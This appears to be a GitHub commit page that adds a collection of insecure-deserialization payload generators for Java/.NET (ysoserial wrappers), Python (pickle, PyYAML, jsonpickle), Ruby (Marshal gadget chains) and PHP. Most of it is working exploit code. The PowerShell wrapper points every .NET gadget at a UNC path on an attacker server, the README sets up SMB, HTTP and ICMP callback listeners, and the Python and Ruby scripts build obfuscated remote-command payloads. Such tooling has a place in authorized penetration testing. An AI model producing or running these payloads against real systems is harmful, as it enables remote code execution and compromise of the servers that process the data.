Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
Karmaz95 authored Dec 12, 2023
1 parent 1f06123 commit 325e74c
Show file tree
Hide file tree
Showing 6 changed files with 308 additions and 0 deletions.
45 changes: 45 additions & 0 deletions scripts/deser/README.md
Original file line number Diff line number Diff line change
@@ -1 +1,46 @@
# INSECURE DESERIALIZATION SCRIPTS
This collection contains various tools for generating serialized payloads in different programming languages.

## TOOLS
* [Java - ysoserial](https://github.com/frohoff/ysoserial)
* [jargadgets.txt]()
* [C# - ysoserial.net](https://github.com/pwntester/ysoserial.net/)
* [RunYsoserial.ps1]() - Wrapper around ysoserial.net using all possible gadgets and formatters.
* [netgadgets.txt]()
* [netformatters.txt]()
* [Python - python_deser.py](PLACEHOLDER)
* (Modified [Peas](https://github.com/j0lt-github/python-deserialization-attack-payload-generator))
* [Ruby - ruby_deser_vx](PLACEHOLDER)
* ([deser-ruby](https://github.com/klezVirus/deser-ruby) is an alternative tool for Ruby v3 which also supports YAML generation)
* [PHP - phpggc](https://github.com/ambionics/phpggc)
* [php_deser.sh]() - Wrapper around phpggc that generates payloads from all possible gadgets in base64 format.
* [phpgadgets.txt]()
* [Node.js - deser-node.js](https://github.com/klezVirus/deser-node)
* With deletec console.log() for clean output.
* [crimson_deser.sh]() - Wrapper around all generators except .NET

## USAGE
#### ON VPS
```bash
# TERMINAL 1
echo 123 > fake.dll
sudo impacket-smbserver deser . -smb2support
# TERMINAL 2
updog -p 443 --ssl 2>&1 | tee -a https.logs
# TERMINAL 3
python3 -m http.server 80 2>&1 | tee -a http.logs
# TERMINAL 4
sudo tcpdump -i any icmp -ttttt -w - -U | tee icmp.logs | tcpdump -r -
```
#### ON WINDOWS
```powershell
# In ysoserial directory
.\RunYsoserial.ps1 -collab 'ip_or_domain_here' -outputFormat 'base64' -outputFile 'deser.txt'
.\RunYsoserial.ps1 -collab 'ip_or_domain_here' -outputFormat 'hex' -outputFile 'deser.txt'
```

#### ON UNIX
```
./crimson_deser.sh "ping VPS_IP" "VPS_IP" "DOMAIN_COLLAB"
```

32 changes: 32 additions & 0 deletions scripts/deser/RunYsoserial.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
<#
Author: Karol Mazurek (https://afine.com/)
Usage:
0. Unpack the ysoserial_net_136.zip
1. Start the PowerShell terminal in the ysoserial_net_136 directory.
2. Set unrestricted execution policy for the current terminal session:
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process
3. Execute:
.\RunYsoserial.ps1 -collab 'you_vps_ip_or_domain_here' -outputFormat 'base64' -outputFile 'test.txt'
All formats: raw, base64, raw-urlencode, base64-urlencode, hex
#>

param(
[string]$collab,
[string]$command = "\\$collab\deser\fake.dll",
[string]$outputFormat,
[string]$outputFile,
[string]$netgadgets = ".\netgadgets.txt",
[string]$netformatters = ".\netformatters.txt"
)

$outputFile_tmp = "$outputFile" + "_tmp"
foreach ($gadget in Get-Content -Path "$netgadgets") {
foreach ($formatter in Get-Content -Path "$netformatters") {
.\ysoserial.exe -f $formatter -g "$gadget" -o $outputFormat -c "$command" /nogui | tee -a "$outputFile_tmp"
}
}

# Filter out lines from the output file
(Get-Content -Path $outputFile_tmp) | Where-Object {$_ -notmatch 'Formatter.*.not supported by|This gadget loads|UNC paths can be used for|This gadget can only load files with DLL|Example: ysoserial.exe|If you want to deliver file with a different extension than|Reading command from file'} | tee -a "$outputFile"
rm "$outputFile_tmp"
93 changes: 93 additions & 0 deletions scripts/deser/python_deser.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,93 @@
import argparse
import pickle
import jsonpickle
import yaml
import subprocess
from copy import deepcopy
from base64 import b64encode, b64decode

class Gen(object):
def __init__(self, payload):
self.payload = payload

def __reduce__(self):
return subprocess.Popen, (self.payload,)

class Payload(object):
def __init__(self, c, location, base, os):
self.location = location
self.base = base
self.os = os
self.prefix = '' if self.os == 'linux' else "cmd.exe /c "
self.cmd = self.prefix + c
self.payload = b''
self.quotes = "\'" in self.cmd or "\"" in self.cmd

def pick(self):
self.payload = pickle.dumps(Gen(tuple(self.case().split(" "))))
self.payload = self.verify_encoding()
self.saving_file("_pick")

def ya(self):
if self.quotes:
self.payload = b64decode("ISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuUG9wZW4KLSAhIXB5dGhvbi90dXBsZQogIC0g"
"cHl0aG9uCiAgLSAtYwogIC0gIl9faW1wb3J0X18oJ29zJykuc3lzdGVtKHN0cihfX2ltcG9ydF9fKCdiY"
"XNlNjQnKS5iNjRkZWNvZGUoJw==") + b64encode(bytes(self.cmd, 'utf-8')) + \
b64decode("JykuZGVjb2RlKCkpKSI=")
else:
self.payload = bytes(yaml.dump(Gen(tuple(self.cmd.split(" ")))), 'utf-8')
self.payload = self.verify_encoding()
self.saving_file("_yaml")

def js(self):
self.payload = bytes(jsonpickle.encode(Gen(tuple(self.case().split(" ")))), 'utf-8')
self.payload = self.verify_encoding()
self.saving_file("_jspick")

def __add__(self, other):
return self + other

def verify_encoding(self):
return b64encode(self.payload) if self.base else self.payload

def saving_file(self, suffix):
if self.location:
open(self.location + suffix, "wb").write(self.payload)
else:
print(self.payload.decode('utf-8'))

def chr_encode(self, data):
d = '+'.join(['chr('+str(ord(ii))+')' for ii in data])
return d

def case(self):
cmd = deepcopy(self.cmd)
if self.quotes:
cmd = self.prefix + "python -c exec({})".format(self.chr_encode(
"__import__('os').system(__import__('base64').b64decode({}).decode('utf-8'))".
format(b64encode(bytes(self.cmd, 'utf-8')))))
return cmd

def main():
parser = argparse.ArgumentParser(description="Python Deserialization attack payload file generator.")
parser.add_argument("command", help="RCE command")
parser.add_argument("-o", "--output", help="File location to save output")
parser.add_argument("--base64", action="store_true", help="Base64 encode payload")
parser.add_argument("--os", choices=["linux", "windows"], default="linux",
help="Operating system of the target (default: linux)")
parser.add_argument("--module", choices=["pickle", "pyyaml", "ruamel.yaml", "jsonpickle", "all"],
default="pickle", help="Select Module (default: pickle)")

args = parser.parse_args()

p = Payload(args.command, args.output, args.base64, args.os)
function_dict = {"pickle": p.pick, "pyyaml": p.ya, "ruamel.yaml": p.ya, "jsonpickle": p.js}

if args.module == "all":
for i in function_dict.keys():
function_dict[i]()
elif args.module in function_dict.keys():
function_dict[args.module]()

if __name__ == "__main__":
main()
67 changes: 67 additions & 0 deletions scripts/deser/ruby_deser_v2.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
#!/usr/bin/env ruby

require 'ox'
require 'optparse'
require 'base64'

class Gem::StubSpecification
def initialize; end
end

options = { format: nil }

OptionParser.new do |opts|
opts.banner = "Usage: ruby script.rb [options] <COMMAND>"

opts.on("--format FORMAT", [:hex, :base64, :ox, :all], "Output format: hex, base64, 0x, or all (default base64 + hex)") do |format|
options[:format] = format
end
end.parse!

# Check if a command is provided as a command-line argument
if ARGV.empty?
puts "Usage: ruby script.rb [options] <COMMAND>"
exit 1
end

command_to_execute = ARGV.join(' ')

stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|#{command_to_execute}")

class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

$dependency_list = Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

case options[:format]
when :hex
puts payload.unpack('H*')[0]
when :base64
puts Base64.encode64(payload).tr("\n", '')
when :ox
puts "0x#{payload.unpack('H*')[0]}"
when :all
puts payload.unpack('H*')[0]
puts Base64.encode64(payload).tr("\n", '')
puts "---start----Ox---Payload"
puts Ox.dump(Gem::Requirement.new.marshal_dump)
else
puts payload.unpack('H*')[0]
puts Base64.encode64(payload).tr("\n", '')
end
71 changes: 71 additions & 0 deletions scripts/deser/ruby_deser_v3.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@
require 'optparse'
require 'net/http'
require 'rubygems'
require 'base64'
require 'rubygems/package'

options = {}
OptionParser.new do |opts|
opts.banner = "Usage: ruby script.rb [options] <COMMAND>"

opts.on("--format FORMAT", [:base64, :hex, :all], "Output format: base64, hex, or all (default)") do |format|
options[:format] = format
end
end.parse!

# Check if a command is provided as a command-line argument
if ARGV.empty?
puts "Usage: ruby script.rb [options] <COMMAND>"
exit 1
end

command_to_execute = ARGV.join(' ')

# prevent the payload from running when we Marshal.dump it
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', command_to_execute)
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])

case options[:format]
when :hex
hex_payload = payload.unpack('H*').first
puts hex_payload
when :base64
encoded_payload = Base64.encode64(payload).tr("\n", '')
puts encoded_payload
when :all
encoded_payload = Base64.encode64(payload).tr("\n", '')
hex_payload = payload.unpack('H*').first

puts encoded_payload
puts hex_payload
else
# Default to printing both if no format specified
encoded_payload = Base64.encode64(payload).tr("\n", '')
hex_payload = payload.unpack('H*').first

puts encoded_payload
puts hex_payload
end
Binary file added scripts/deser/ysoserial_net_136.zip
Binary file not shown.

0 comments on commit 325e74c

Please sign in to comment.